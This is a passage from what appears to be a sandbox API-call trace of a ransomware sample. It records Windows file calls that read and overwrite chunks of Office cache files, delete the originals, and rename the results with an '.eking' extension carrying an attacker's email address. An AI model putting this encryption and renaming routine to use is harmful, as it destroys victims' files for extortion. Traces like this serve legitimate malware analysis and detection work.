hTemplateFile=0x0) returned 0x1b0 [0252.033] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0252.033] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0252.033] ReadFile (in: hFile=0x1b0, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0252.041] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0252.041] ReadFile (in: hFile=0x1b0, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0252.050] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0252.050] ReadFile (in: hFile=0x1b0, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0252.063] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0252.063] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0253.076] SetEndOfFile (hFile=0x1b0) returned 1 [0253.076] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0253.076] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0253.079] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0253.079] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0253.083] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0253.083] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0253.084] FlushFileBuffers (hFile=0x1b0) returned 1 [0254.453] CloseHandle (hObject=0x1b0) returned 1 [0254.454] SetEvent (hEvent=0xe0) returned 1 [0254.455] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0254.458] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1992192) returned 1 [0254.459] CloseHandle (hObject=0x1b0) returned 1 [0254.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0254.459] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0254.460] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0254.460] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0254.460] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0254.461] ReadFile (in: hFile=0x1b0, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0254.467] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0254.467] ReadFile (in: hFile=0x1b0, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0254.492] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0254.493] ReadFile (in: hFile=0x1b0, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0254.512] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0254.512] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0254.644] SetEndOfFile (hFile=0x1b0) returned 1 [0254.645] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0254.645] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0254.647] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0254.648] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0254.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0254.650] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0254.652] FlushFileBuffers (hFile=0x1b0) returned 1 [0255.958] CloseHandle (hObject=0x1b0) returned 1 [0255.959] SetEvent (hEvent=0xe0) returned 1 [0255.964] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0255.965] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=36233052) returned 1 [0255.965] CloseHandle (hObject=0x1b0) returned 1 [0255.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0255.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0255.965] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0255.966] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0255.966] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0255.966] ReadFile (in: hFile=0x1b0, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0255.970] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0255.970] ReadFile (in: hFile=0x1b0, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0255.976] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0255.976] ReadFile (in: hFile=0x1b0, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0255.989] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0255.990] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0256.056] SetEndOfFile (hFile=0x1b0) returned 1 [0256.056] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0256.056] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0256.059] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0256.059] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0256.060] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0256.060] WriteFile (in: hFile=0x1b0, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0256.061] FlushFileBuffers (hFile=0x1b0) returned 1 [0258.166] CloseHandle (hObject=0x1b0) returned 1 [0258.166] SetEvent (hEvent=0xe0) returned 1 [0258.167] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0258.167] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=715834) returned 1 [0258.167] CloseHandle (hObject=0x1b0) returned 1 [0258.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0258.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0258.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0258.168] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0258.168] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0258.168] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0258.168] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b4 [0258.170] ReadFile (in: hFile=0x1b0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xaec3a, lpOverlapped=0x0) returned 1 [0258.181] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xaec40, lpOverlapped=0x0) returned 1 [0258.194] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x112, lpOverlapped=0x0) returned 1 [0258.194] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0258.194] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0258.194] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xaec3a, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xaec3a, lpOverlapped=0x0) returned 1 [0258.196] FlushFileBuffers (hFile=0x1b0) returned 1 [0258.423] FlushFileBuffers (hFile=0x1b4) returned 1 [0258.440] CloseHandle (hObject=0x1b0) returned 1 [0258.441] CloseHandle (hObject=0x1b4) returned 1 [0258.441] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0258.448] SetEvent (hEvent=0xe0) returned 1 [0258.449] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0258.450] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=20577) returned 1 [0258.450] CloseHandle (hObject=0x1b4) returned 1 [0258.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0258.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0258.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0258.450] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0258.450] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0258.450] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0258.450] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b0 [0258.451] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x5061, lpOverlapped=0x0) returned 1 [0258.453] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x5070, lpOverlapped=0x0) returned 1 [0258.454] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0258.454] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0258.454] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0258.454] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5061, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x5061, lpOverlapped=0x0) returned 1 [0258.455] FlushFileBuffers (hFile=0x1b4) returned 1 [0258.459] FlushFileBuffers (hFile=0x1b0) returned 1 [0258.460] CloseHandle (hObject=0x1b4) returned 1 [0258.461] CloseHandle (hObject=0x1b0) returned 1 [0258.461] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0258.462] SetEvent (hEvent=0xe0) returned 1 [0258.462] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0258.466] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=195011319) returned 1 [0258.466] CloseHandle (hObject=0x1b4) returned 1 [0258.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0258.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0258.467] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0258.467] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0258.467] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0258.467] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0258.473] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0258.473] ReadFile (in: hFile=0x1b4, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: 